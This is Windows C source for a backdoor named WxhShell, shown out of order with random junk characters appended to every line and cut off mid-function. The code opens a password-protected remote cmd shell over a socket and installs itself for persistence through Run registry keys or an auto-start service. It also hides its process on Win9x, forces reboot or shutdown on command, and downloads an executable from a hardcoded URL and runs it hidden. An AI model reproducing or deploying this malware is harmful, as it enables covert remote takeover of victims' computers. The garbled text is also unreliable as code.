  // 关机 QNm8`1  
  case 'd': { j )b[7%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gano>W0  
    if(Boot(SHUTDOWN)) d\v1R-V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fu $<*Sa2  
    else { bOS; 1~~  
    closesocket(wsh); 6h:2,h pE  
    ExitThread(0); 7 HM%Cd  
    } 7FGi+  
    break; 4Bz:n  
    } ;30SnR/  
  // 获取shell M#;"7Qg  
  case 's': { ` D={l29H  
    CmdShell(wsh); b,uu dtlH  
    closesocket(wsh); EN;s 8sC!  
    ExitThread(0); =WM^i86  
    break; ~X!Z+Vg  
  } Wg!JQRHtT  
  // 退出 {Etvu  
  case 'x': { yttaZhK^u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kBg8:bo~  
    CloseIt(wsh); aGq1 YOD[$  
    break; *Sp_s_tS  
    } kqQT^6S   
  // 离开 Gqs)E"h  
  case 'q': { Tqj:C8K{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D,P{ ,/  
    closesocket(wsh); JK'FJ}Z4  
    WSACleanup(); N|\Q:<!2_w  
    exit(1); szC<ht?z  
    break; X)b@ia'"Wp  
        } 7B{LRm6;Vu  
  } d=d*:<Zx  
  } 7oV$TAAf  
lgQ"K(zY  
  // 提示信息 chA7R'+LA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xli$4 uL   
} a|eHo%Qt  
  } VMIX=gTZ  
ble[@VW|  
  return; +FJ+,|i  
} y7~y@2  
o&ETs)n|  
// shell模块句柄 +^|_vq^XR  
int CmdShell(SOCKET sock) ,8 G6q_ud  
{ T7~H|%  
STARTUPINFO si; @L?KcGD  
ZeroMemory(&si,sizeof(si)); '8w>=9Xl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AX;!-|bW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I>JBGR`j  
PROCESS_INFORMATION ProcessInfo; F<TIZ^gFP  
char cmdline[]="cmd"; #ADm^UT^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vb`R+y@  
  return 0; qsWy <yL+  
} 75^AO>gt   
5D eo}(3  
// 自身启动模式 ez<V  
int StartFromService(void) 2"6bz^>}  
{ ]Bj2;<@y  
typedef struct 'S%H"W\  
{ {hFH6]TA  
  DWORD ExitStatus; $Da?)Hz'F  
  DWORD PebBaseAddress; L Q0e@5  
  DWORD AffinityMask; L Iz<fB  
  DWORD BasePriority; 7>lM^ :A  
  ULONG UniqueProcessId; .F},Z[a&  
  ULONG InheritedFromUniqueProcessId; T/]f5/  
}   PROCESS_BASIC_INFORMATION; .tcdqL-'  
nO+R >8,Q  
PROCNTQSIP NtQueryInformationProcess; @ Fkhida  
rld8hFj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VYjt/\ Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Xz`0nU  
AVi&cvhs  
  HANDLE             hProcess; nvQTJ4,,  
  PROCESS_BASIC_INFORMATION pbi; h8dFW"cpC  
8qL.L(=\/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Swr4De_5  
  if(NULL == hInst ) return 0; QQJf;p7  
-}3nIk<N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Vh{(*p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z@(KZ|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g%<n9AUl  
]f_`w81[  
  if (!NtQueryInformationProcess) return 0; !_P&SmK3  
;SIWWuk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eG7Yyz+t$  
  if(!hProcess) return 0; 9l(T>B2a  
vUCmm<y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;5DDV6  
\PWH( E9  
  CloseHandle(hProcess); Wdi`Z E  
0SDnMij&bf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); # %EHcgF  
if(hProcess==NULL) return 0; 4Cv*zn  
(x fN=Te,-  
HMODULE hMod; J$5Vjh'aM  
char procName[255]; 2VzYP~Jg  
unsigned long cbNeeded; 2+_a<5l~  
,l Y4WO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xv3pKf-K  
 TJ1h[  
  CloseHandle(hProcess); Wy%FF\D.Y  
6$[7hlE  
if(strstr(procName,"services")) return 1; // 以服务启动 U*b7 Pxq;  
zz /4 ()u  
  return 0; // 注册表启动 3)yL#hXg)  
} xHMFYt+0$G  
| kP utB  
// 主模块 SL-;h#-y 4  
int StartWxhshell(LPSTR lpCmdLine) PD&gC88  
{ hHHQmK<r  
  SOCKET wsl; axpZ`BUc  
BOOL val=TRUE; )+R n[MMp  
  int port=0; @S=9@3m{w;  
  struct sockaddr_in door; qV6WT&)T  
hJsP;y:@Lm  
  if(wscfg.ws_autoins) Install(); w@<II-9L)<  
$1g1Bn  
port=atoi(lpCmdLine); C!|LGzs0  
z;!"i~fFK  
if(port<=0) port=wscfg.ws_port; tj$[szo  
s&Y"a,|Z  
  WSADATA data; kg 8Dn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BM'!odRv  
2?SbkU/3|P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hGkJ$QT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kRc+OsY9  
  door.sin_family = AF_INET; xx(C$wCJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R<U]"4CBx  
  door.sin_port = htons(port); $ dF3@(p  
G:p85k `  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0Ni{UV? k  
closesocket(wsl); P#7=h:.522  
return 1; *mVg_Kl  
} MXa^ g"  
s M*ay,v;  
  if(listen(wsl,2) == INVALID_SOCKET) { #=={h?UDT  
closesocket(wsl); 9v[V"m`M  
return 1; N!Rt040.%  
} a eeor  
  Wxhshell(wsl); MM_:2 ^P)  
  WSACleanup(); +D:8r|evH  
-rn6ZSD)  
return 0; Q2D!Agq=D  
xhOoZ-  
} tM^4K r~o,  
"L:4 7!8  
// 以NT服务方式启动 <l $ d>,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X.#)CB0c1Q  
{ P6R_W  
DWORD   status = 0; t:5-Ro  
  DWORD   specificError = 0xfffffff; #,u|*O:  
z V\+za,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t2s/zxt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wV"`Du7E;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "J`&"_CyZ  
  serviceStatus.dwWin32ExitCode     = 0;  +l/v`=C  
  serviceStatus.dwServiceSpecificExitCode = 0; {BT/P!  
  serviceStatus.dwCheckPoint       = 0; 0=#>w_B  
  serviceStatus.dwWaitHint       = 0; S.)Jp -&K  
}&t>j[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !7 dct#4  
  if (hServiceStatusHandle==0) return; 18!y7 _cFT  
##*]2Dy  
status = GetLastError(); 4uo`XJuQ  
  if (status!=NO_ERROR) [104;g <  
{ a9z#l}IQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m^G(qoZ]  
    serviceStatus.dwCheckPoint       = 0; P0jr>j@^-  
    serviceStatus.dwWaitHint       = 0; b.@a,:"  
    serviceStatus.dwWin32ExitCode     = status; {VE h@yn  
    serviceStatus.dwServiceSpecificExitCode = specificError; z.!N|"4yr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L_NiU;cr%  
    return; e[fOm0^.c  
  } 52dD(  
ylKK!vRHT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v$W[(  
  serviceStatus.dwCheckPoint       = 0; J6AHc"k.  
  serviceStatus.dwWaitHint       = 0; `(sb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [YfoQ1  
} N);w~)MYh  
wOl?(w=|  
// 处理NT服务事件,比如:启动、停止 WXl+w7jr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )&Oc7\J,  
{ 6JDHwV  
switch(fdwControl) >w@+cUto  
{ eZLEdTScM  
case SERVICE_CONTROL_STOP: \A"o[A2v  
  serviceStatus.dwWin32ExitCode = 0; /.Ak'Vmi  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %,kP_[!>Q  
  serviceStatus.dwCheckPoint   = 0;  :^.wjUI  
  serviceStatus.dwWaitHint     = 0; hPDKxYD]f  
  { FM >ae-L-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [d6!  
  } b}3"v(  
  return; e "A"  
case SERVICE_CONTROL_PAUSE: yZ|"qP1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .h7s.p?  
  break; g[3LPKQ  
case SERVICE_CONTROL_CONTINUE: ]R#:Bq!F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DAB9-[y+  
  break; [|DKBJ  
case SERVICE_CONTROL_INTERROGATE: 8AuBs;i  
  break; ] 3"t]U'f  
}; c+9L6}D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6<._^hyq  
} "6$V1B0KW  
MC}t8L=  
// 标准应用程序主函数 XH"+oW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hj [77EEz  
{ - {QU>`2  
l@4_D;b3o"  
// 获取操作系统版本 //q(v,D%Q  
OsIsNt=GetOsVer(); ;Y$>WKsV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &12K pEyf  
_\ToA9m  
  // 从命令行安装 sjr,)|#[  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,50  
:8A+2ra&  
  // 下载执行文件 Ey&H?OFiP  
if(wscfg.ws_downexe) { d;Vy59}eY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~&i4FuK  
  WinExec(wscfg.ws_filenam,SW_HIDE); ` p\=NP!n  
} N{;!xI v  
;sZG=y@  
if(!OsIsNt) { s[yWBew  
// 如果时win9x,隐藏进程并且设置为注册表启动 Cbw *? 9d  
HideProc(); (^d7K:-'  
StartWxhshell(lpCmdLine); Je1d|1!3  
} bbK};u  
else lLx!_h  
  if(StartFromService()) q@|+`>h  
  // 以服务方式启动 {^VtD  
  StartServiceCtrlDispatcher(DispatchTable); W$rWg>4>  
else ~RhUg~o  
  // 普通方式启动 %ou,|Dww  
  StartWxhshell(lpCmdLine); py*22Ua^  
Dcl$?  
return 0; 6#?T?!vZ  
} !Zz;;Z  
$MQ}+*Wr  
cO~<iy  
Z!1D4`w  
=========================================== 9%/hoA)  
KA5)]UF`l  
gg'1q3OjM  
~VGnE:  
zfIo] M`  
yn4T!r "  
" xM*_1+<dT$  
B$4*U"tk  
#include <stdio.h> >XD?zF)6  
#include <string.h> {3~VLdy  
#include <windows.h> ?\}Gi(VVE  
#include <winsock2.h> { "y/;x/  
#include <winsvc.h> `g)}jo`W  
#include <urlmon.h> Bt+^H6cb  
$)i`!7`4=  
#pragma comment (lib, "Ws2_32.lib") F"@%7xy  
#pragma comment (lib, "urlmon.lib") x84!/n^z  
-aoYoJ '  
#define MAX_USER   100 // 最大客户端连接数 4T@:_G2b  
#define BUF_SOCK   200 // sock buffer [{znwK@  
#define KEY_BUFF   255 // 输入 buffer iNO>'7s7  
37#&:[w>  
#define REBOOT     0   // 重启 _C?j\Wy  
#define SHUTDOWN   1   // 关机 LW %AZkAx  
:QE5 7 .  
#define DEF_PORT   5000 // 监听端口 {%V(Dd[B6  
{ i5?R,a)  
#define REG_LEN     16   // 注册表键长度 D BT4 W/  
#define SVC_LEN     80   // NT服务名长度 "g{q=[U}  
m|a9T#B(  
// 从dll定义API :RaQ =C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C"{^wy{sL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "HMEoZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DD| 0?i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ( ;FxKm<P@  
= tv70d'  
// wxhshell配置信息 ^|Ap_!t$;  
struct WSCFG { h [TwaR  
  int ws_port;         // 监听端口 V>@[\N[  
  char ws_passstr[REG_LEN]; // 口令 44]s`QyG  
  int ws_autoins;       // 安装标记, 1=yes 0=no L.Y3/H_  
  char ws_regname[REG_LEN]; // 注册表键名 8Sbz)X  
  char ws_svcname[REG_LEN]; // 服务名 #lYyL`B+~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6EqA Y`y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TBj2(Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X8Z?G,[H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t*{L[c9.Uq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZlT }cA/n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pu-HEv}]a|  
eV;r /4  
}; th?+TNb^  
{15j'Qwm  
// default Wxhshell configuration vgfC{]v<W]  
struct WSCFG wscfg={DEF_PORT, ^_7|b[Bt  
    "xuhuanlingzhe", &,X}M  
    1, mG~_*8}e<  
    "Wxhshell", ("$/sT  
    "Wxhshell", `MtzA^Xr  
            "WxhShell Service", 8fC4j`!  
    "Wrsky Windows CmdShell Service", OgQd yU  
    "Please Input Your Password: ", ]?9*Vr:P^  
  1, L*@`i ]jl  
  "http://www.wrsky.com/wxhshell.exe", 3Cf9'C  
  "Wxhshell.exe" t^s&1#iC  
    }; &i#$ia r  
_y@ 28t  
// 消息定义模块 Y]z :^D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]\E"oZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lZFu|(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; '-iEbE  
char *msg_ws_ext="\n\rExit."; @HT\Y%E  
char *msg_ws_end="\n\rQuit."; =|3BkmO  
char *msg_ws_boot="\n\rReboot..."; "J VIkC  
char *msg_ws_poff="\n\rShutdown..."; m%'nk"p9  
char *msg_ws_down="\n\rSave to "; L9GLj Rp-  
q+g,?;Yx  
char *msg_ws_err="\n\rErr!"; b--=GY))F  
char *msg_ws_ok="\n\rOK!"; ~Y 6'sM|  
O<u=Vz3c~0  
char ExeFile[MAX_PATH]; S{c/3k~  
int nUser = 0; *a9cBl'_  
HANDLE handles[MAX_USER]; *"%TAe7?~+  
int OsIsNt; ]\, ?u /  
["-rD y P  
SERVICE_STATUS       serviceStatus; z0"t]4s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <Ap_#  
B8&q$QV  
// 函数声明 q_MN  
int Install(void); \PrJy6&  
int Uninstall(void); iw@rW5%'~  
int DownloadFile(char *sURL, SOCKET wsh); L9b.D<  
int Boot(int flag); u3T-U_:jSV  
void HideProc(void); mm/\\my  
int GetOsVer(void); rrD6x>  
int Wxhshell(SOCKET wsl); TdhfX{nk  
void TalkWithClient(void *cs); TxrW69FV7  
int CmdShell(SOCKET sock); I _nQTWcm  
int StartFromService(void); "1O_h6 C  
int StartWxhshell(LPSTR lpCmdLine); n,N->t$i  
#bOv}1,s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M/ 3;-g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m+QS -woHn  
#s)f3HU>  
// 数据结构和表定义 o9kJ90{D=  
SERVICE_TABLE_ENTRY DispatchTable[] = ,K5K?C$k  
{  H.5 6  
{wscfg.ws_svcname, NTServiceMain}, m=l>8  
{NULL, NULL} uGU 2  
}; 0.MB;gm:  
<)qa{,GX\  
// 自我安装 P1#g{f  
int Install(void) 5Xq+lLW>  
{ 2/-m-5A  
  char svExeFile[MAX_PATH]; ($di]lbsT  
  HKEY key; D8A+`W?  
  strcpy(svExeFile,ExeFile); OC! {8MR  
6pt,]FlU  
// 如果是win9x系统,修改注册表设为自启动 u[a-9^&g  
if(!OsIsNt) { Nr|Gw @+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 92TuuN#{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FFT)m^4p.  
  RegCloseKey(key); x39tnf/F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N,`@Q7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Agc ss20.  
  RegCloseKey(key); c`E>7Hjr-  
  return 0; #MC#K{Xd  
    } &;Ncc,jb  
  } K,4Ig!  
} z#{Y>.b  
else { FZ*"^=)`G  
I4Do$&9<D  
// 如果是NT以上系统,安装为系统服务 CD1Ma8I8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R|?n  
if (schSCManager!=0) B`SX3,3  
{ snbXAx1L  
  SC_HANDLE schService = CreateService SSe;&Jk2d  
  ( +y| B"}x  
  schSCManager, Et6j6gmif  
  wscfg.ws_svcname, Ey@^gHku\  
  wscfg.ws_svcdisp, yg\QtWW M  
  SERVICE_ALL_ACCESS, [^"}jbn/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =?]`Xo,v~  
  SERVICE_AUTO_START, ,Yag! i>;  
  SERVICE_ERROR_NORMAL, RDps{),E;d  
  svExeFile, FSuC)Xg  
  NULL, Fe8X@63  
  NULL, 3M#x)cW  
  NULL, bTs2$81[  
  NULL, HT7,B(.}  
  NULL 1wgL^Qz@  
  ); ydWr&E5  
  if (schService!=0) GRc)3 2,  
  { L15)+^4n  
  CloseServiceHandle(schService); \`.v8C>vG  
  CloseServiceHandle(schSCManager); &r,vD,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EU(e5vO  
  strcat(svExeFile,wscfg.ws_svcname); Z~:)hwF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [8u9q.IZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y&\4Wr9m  
  RegCloseKey(key); 0f4 y"9m  
  return 0; XX=OyDLqP  
    } 2)EqqX[D  
  } 73qE!(  
  CloseServiceHandle(schSCManager); |5>Tf6 $(  
} g? vz\_  
} jV% VN  
;CO qu#(  
return 1; F=\ REq  
} r1~W(r.x  
'IU3Xu[-.  
// 自我卸载 G}U <^]c  
int Uninstall(void) uQG|r)  
{ EH".ki=e  
  HKEY key; S @[]znH  
% J\G[dl  
if(!OsIsNt) { S{llpp{E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1 -Z&/3T]  
  RegDeleteValue(key,wscfg.ws_regname); O 0}uY:B  
  RegCloseKey(key); 7\@c1e*e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UDHOcb  
  RegDeleteValue(key,wscfg.ws_regname); NXD-  
  RegCloseKey(key); y,?=,x}o#  
  return 0; >4g!ic~O  
  } C\{A|'l!x  
} m9h<)D'>  
} =2q#- ,t  
else { ( yLu=  
dr)*.<_+a(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %=z>kU1|  
if (schSCManager!=0) z/#,L!Z3  
{ Le83[E*i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0 Rb3| te  
  if (schService!=0) WOPIF~1v  
  { 7,)E1dx -V  
  if(DeleteService(schService)!=0) { I(UK9H{0$  
  CloseServiceHandle(schService); Q``1^E'  
  CloseServiceHandle(schSCManager); hq"n RH  
  return 0; rzdQLan  
  } qFVZhBC  
  CloseServiceHandle(schService); j6s j2D  
  } 1<:5b%^c  
  CloseServiceHandle(schSCManager); &wQ<sVQ0$  
} V 2Xv)  
} Zl[EpXlZ  
f0eQq;D$K  
return 1; PE.UNo>o  
} S))B^).0-  
*vQ 6LF;y  
// 从指定url下载文件 e"1mdw"  
int DownloadFile(char *sURL, SOCKET wsh) a<*+rGI  
{ '*[7O2\%/  
  HRESULT hr; 5NkF_&S_1  
char seps[]= "/"; eP (*.  
char *token; Uhu?G0>O  
char *file; 8K^#$,.."  
char myURL[MAX_PATH]; xlcCL?qQj  
char myFILE[MAX_PATH]; -qpvVLR,  
;0Ua t  
strcpy(myURL,sURL); N[9o6Nl|a  
  token=strtok(myURL,seps); Ri"rT] '  
  while(token!=NULL) ^WU[+H ;  
  { xJ#O|7N  
    file=token; 5X8 i=M;  
  token=strtok(NULL,seps); ?taC !{  
  } uv5NqL&  
/@Jg [na  
GetCurrentDirectory(MAX_PATH,myFILE); ^G qO>1U  
strcat(myFILE, "\\"); xqdkc^b  
strcat(myFILE, file); krGIE}5  
  send(wsh,myFILE,strlen(myFILE),0); `?T::&`  
send(wsh,"...",3,0); YS4"TOFw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q?hf2iw  
  if(hr==S_OK) %#fjtbeB  
return 0; aQH]hLvs  
else A|Ft:_Y  
return 1; k %{q q v  
37n2#E  
} AW;xlY= g  
Q@p' nE,  
// 系统电源模块 pv4#`.m  
int Boot(int flag) 7E* 0;sA#  
{ dJzaP  
  HANDLE hToken; E*R-Dno_F  
  TOKEN_PRIVILEGES tkp; /0`Eux\  
nYC.zc*ox  
  if(OsIsNt) { Z$i?p;HnW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n=f?Q=h\3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "4KyJ;RA*  
    tkp.PrivilegeCount = 1; Na]ITCVR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Tb^1#O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `?^<r%*F.  
if(flag==REBOOT) { zgS)j9q}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ys)  
  return 0; X'.l h#&  
} qi^kf  
else { 3f>9tUWhTy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8bw, dBN  
  return 0; Ur[ai6LNG  
} c.Izm+9k  
  } {OQ)Np!  
  else { uR=*q a  
if(flag==REBOOT) { AN,3[Sh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s!W{ru  
  return 0; {y|.y~vW  
} o7gZc/?n  
else { .$f0!` t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8\)4waz$  
  return 0; 3Zz_wr6  
} dr8Q>(ZY  
} %U<lS.i  
a@_n>$LZL  
return 1; hQ)?LPUB  
} Yjy%MR  
8eCh5*_$  
// win9x进程隐藏模块 amQiH!}8R  
void HideProc(void) 'mv|6Y  
{ }If,O  
$/u.F;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )+)qFGVz  
  if ( hKernel != NULL ) ~urk Uz  
  { ;Srzka2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1@-l@ P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?iaO+G&|  
    FreeLibrary(hKernel); rIyIZWkI  
  } t[({KbIy  
/ H GPy  
return; J,h'eY5  
} 5OTZa>H  
%h_N%B$7c1  
// 获取操作系统版本 D1]?f`  
int GetOsVer(void) 8XfOM f~d`  
{ ;M+~ e~  
  OSVERSIONINFO winfo; {6}$XLV3l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (-o}'l'mo  
  GetVersionEx(&winfo); 1mv5B t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v&])D/a  
  return 1; '\pSUp  
  else 5:~ zlg  
  return 0; %~dn5t ;  
} pBVzmQF  
ASS<XNP  
// 客户端句柄模块 80U(q/H%9  
int Wxhshell(SOCKET wsl) )Zvn{  
{ $?&distJ  
  SOCKET wsh; !( _qM  
  struct sockaddr_in client; r-hb]!t  
  DWORD myID; nS!m1&DeD  
3cH^ ,F  
  while(nUser<MAX_USER) 5uM`4xkj  
{ vQ5rhRG)E  
  int nSize=sizeof(client); PywUPsJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <P5 7s+JK  
  if(wsh==INVALID_SOCKET) return 1; I0bkc3  
"v'%M({  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z1\=d=  
if(handles[nUser]==0) o3'Za'N.  
  closesocket(wsh); }dq)d.c  
else Q2gz\N  
  nUser++; qz-lQ  
  } B I>r'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L>`inrpz=w  
q ) e* eN  
  return 0; :dlG:=.W  
} BE!WCDg,  
7U)w\A;~  
// 关闭 socket gp\o|igT  
void CloseIt(SOCKET wsh) %pxHGO=)E  
{ GS GaYq  
closesocket(wsh); aqP"Y9l  
nUser--; 6(B[(Af  
ExitThread(0); >Qf`xUZ  
} Z(ToemF)hi  
<@c9S,@t  
// 客户端请求句柄 D'Kiy  
void TalkWithClient(void *cs) ;k=`J  
{ !imjfkG  
|x ir93|  
  SOCKET wsh=(SOCKET)cs; 9+'*  
  char pwd[SVC_LEN]; 2 o5u02x  
  char cmd[KEY_BUFF]; `$] ZT>&  
char chr[1]; \uOR1z  
int i,j; k~iA'E0-  
jq[Q>"f  
  while (nUser < MAX_USER) { P9gAt4i  
d`xDv$QZ  
if(wscfg.ws_passstr) { ;C5 J ^xHI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X$< CIZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /,9n1|FrG  
  //ZeroMemory(pwd,KEY_BUFF); AR)A <  
      i=0; /6'5uP   
  while(i<SVC_LEN) { )4FW~o<i  
xQs._YY  
  // 设置超时 X<:Zx#J?i  
  fd_set FdRead; :W[d&e  
  struct timeval TimeOut; KhNE_. Z  
  FD_ZERO(&FdRead); =nUzBL%~  
  FD_SET(wsh,&FdRead); ;+~Phdy  
  TimeOut.tv_sec=8; tIW~Ng  
  TimeOut.tv_usec=0; 1{CVd m<9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nhB.>ReAi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LHusy;<E[  
U1pwk[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wl{}>F`W[  
  pwd=chr[0]; sWMY Lo  
  if(chr[0]==0xd || chr[0]==0xa) { : UDh{GQ*  
  pwd=0; _3m\r*(vmQ  
  break; @=6$ImU  
  } _^NL{R/  
  i++; oazy%n(KZ  
    } 'Fa~l'G7X  
cx+%lco!  
  // 如果是非法用户,关闭 socket $_u)~O4$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g-2(W   
} }\.Z{h:t ?  
ga|-~~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K]>X31Ho  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kIH)>euZ  
ByW,YKMy  
while(1) { k mX:~KMb  
 tZN'OoZ  
  ZeroMemory(cmd,KEY_BUFF); ]]V| ]}<)m  
a q]bF%7  
      // 自动支持客户端 telnet标准   ,M9Hdm  
  j=0; Y'x+! &H  
  while(j<KEY_BUFF) { g:[yA{Eh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T3/Gl 6f  
  cmd[j]=chr[0]; 0 t0m?rVW  
  if(chr[0]==0xa || chr[0]==0xd) { 8'VcaU7Nh  
  cmd[j]=0; MY z\ R \  
  break; hR~~k~84  
  } -Z&9pI(3R~  
  j++; uVLKR PY  
    } LVNJlRK  
)uH#+IU  
  // 下载文件 Q|nGY:98  
  if(strstr(cmd,"http://")) { +r 8/\'u-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?&$BQK  
  if(DownloadFile(cmd,wsh)) e/y\P&"eI  
